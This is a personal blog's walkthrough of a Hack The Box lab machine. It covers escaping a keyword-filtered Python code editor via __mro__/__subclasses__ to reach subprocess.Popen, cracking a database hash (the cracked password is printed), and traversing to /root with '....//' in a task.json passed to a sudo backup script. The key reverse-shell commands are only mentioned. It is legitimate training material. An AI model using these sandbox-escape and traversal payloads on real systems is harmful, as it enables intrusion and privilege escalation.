Adhyan Agarwal logoadhyan agarwal
BACK TO ARCHIVE
HTB|2025.03.22

Code — Python Sandbox Escape to backy.sh Root

OS

Linux

Difficulty

Easy

Category

LINUX

Released

2025.03.22

Bypassed a keyword-filtered Python code editor via __mro__/__subclasses__ to reach subprocess.Popen for RCE, cracked martin's hash from the SQLite DB, then abused a sudo backup script (backy.sh) that only stripped ../ to traverse with ....// and archive root's files.

Want to try this box yourself?

Spoiler-free mode is on by default — every solution stays hidden behind a reveal. Peek the hints, attempt each step, then unlock the answer when you're stuck. Turn it off to read every solution inline.

Nmap

Enumeration

Looking at the web page on port 5000, it seems to be a code editor.

Python code editor landing page on port 5000

Looking at the About tab, we get some information.

About tab describing the editor

It is a Python code editor.

Looking at the request in Burp Suite:

Burp Suite showing the run_code request

It sends URL-encoded code to execute as a POST request.

URL-encoded code POSTed to the server

We now try to execute some common enumeration Python commands.

The code editor does filter out some keywords.

Filter blocking certain keywords

This is what we call a Sandbox Escape, specifically a Python sandbox escape.

We check what is not blocked.

Checking which keywords are not blocked

Further check of allowed keywords

Output of globals:

{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fda9b0694f0>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fda9b0694f0>, origin='/home/app-production/app/app.py'), '__file__': '/home/app-production/app/app.py', '__cached__': '/home/app-production/app/__pycache__/app.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7fda9aa27ee0>, 'render_template_string': <function render_template_string at 0x7fda9aa27f70>, 'request': <Request 'http://10.10.11.62:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7fda9acd1c10>, 'redirect': <function redirect at 0x7fda9ab3b3a0>, 'url_for': <function url_for at 0x7fda9ab3b310>, 'session': <SecureCookieSession {'_flashes': [('message', 'Registration successful! You can now log in.'), ('message', 'Login successful!'), ('message', 'You do not have permission to view this code.'), ('message', 'You have been logged out.'), ('message', 'Invalid credentials. Please try again.'), ('message', 'Invalid credentials. Please try again.'), ('message', 'Invalid credentials. Please try again.'), ('message', 'Invalid credentials. Please try again.'), ('message', 'Invalid credentials. Please try again.'), ('message', 'Registration successful! You can now log in.'), ('message', 'Login successful!')], 'user_id': 3}>, 'flash': <function flash at 0x7fda9ab3b550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7fda99a758b0>, 'register': <function register at 0x7fda99a75b80>, 'login': <function login at 0x7fda99a75c10>, 'logout': <function logout at 0x7fda99a75ca0>, 'run_code': <function run_code at 0x7fda99a75e50>, 'load_code': <function load_code at 0x7fda998f0040>, 'save_code': <function save_code at 0x7fda998f01f0>, 'codes': <function codes at 0x7fda998f03a0>, 'about': <function about at 0x7fda998f0550>} 

Inspecting globals output in the editor

Navigating the class hierarchy

"".__class__.__mro__ is a way to navigate Python's class hierarchy to find useful classes. Breaking it down:

"" - an empty string object .__class__ - gets the class of that object (which is str) .__mro__ - "Method Resolution Order" - shows the inheritance chain

So (<class 'str'>, <class 'object'>) means: string inherits from object. Why this matters for exploitation: The object class is the base class for EVERYTHING in Python. From object, we can access ALL subclasses using:

print("".__class__.__mro__[1].__subclasses__())

This will list EVERY class loaded in Python, including dangerous ones like:

  • File handlers
  • Subprocess classes
  • OS wrappers
  • Import mechanisms
...SNIP...

<class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>

...SNIP... 

We look for subprocess.Popen, and it is at index 317.

First, we verify the index number using:

It is Popen on 317.

Now we try to list files using:

Command execution confirmed via Popen ls

We have code execution.

Initial Foothold

We now use command execution to get a reverse shell using a bash reverse shell one-liner:

We have a shell.

Reverse shell received as app-production

In the instance directory, we find a database.

Using the database, we get two password hashes.

We use CrackStation to crack these hashes.

CrackStation cracking the martin hash

We get credentials martin:nafeelswordsmaster.

Enumerating the app-production user's home directory, we find the user flag.

User flag found in app-production home directory

Privilege Escalation

SSHing into the box using martin's password, we get a shell.

The home directory of martin does not have the user flag, but it does have a directory called backups.

martin's backups directory

The .tar.bz2 file looks like a backup that was taken.

Looking at task.json, it is a config that saves the backup from the /home/app-production/app directory.

We download the archive using:

Backup archive downloaded via scp

Looking into the backup, we get the source code.

Sudo -l

sudo -l output for martin

sudo -l reveals a shell file called backy.sh.

backy.sh

#!/bin/bash                                                                                                                  
                                                                                                                             
if [[ $# -ne 1 ]]; then                                                                                                      
    /usr/bin/echo "Usage: $0 <task.json>"                                                                                    
    exit 1                                                                                                                   
fi                                                                                                                           
                                                                                                                             
json_file="$1"                                                
                                                                                                                                           
if [[ ! -f "$json_file" ]]; then                                              
    /usr/bin/echo "Error: File '$json_file' not found."                                                                      
    exit 1                             
fi                                                                                                                                         
                               
allowed_paths=("/var/" "/home/")                                                                                             
                                                              
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")                                                               
                                                                     
/usr/bin/echo "$updated_json" > "$json_file"                                                                                 
                               
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')                                                         
                               
is_allowed_path() {                                           
    local path="$1"                                           
    for allowed_path in "${allowed_paths[@]}"; do                                                                            
        if [[ "$path" == $allowed_path* ]]; then                     
            return 0                                                                                                                       
        fi    
    done                       
    return 1               
}                              
                                  
for dir in $directories_to_archive; do                                        
    if ! is_allowed_path "$dir"; then                                         
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."                                                     
        exit 1                         
    fi                                 
done                                   

/usr/bin/backy "$json_file"

The source code has a path traversal vulnerability: it only sanitizes for ../, not ....//.

So we modify the task.json file to:

{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//....//....//....//root/"
  ],
  "exclude": []
}

We run the script using sudo. Running backy.sh with sudo on the modified task.json

We download the file.

Downloading the resulting archive

We unzip it.

Extracting the archive

And we get the root flag in the directory.

Root directory recovered from the archive

Root flag captured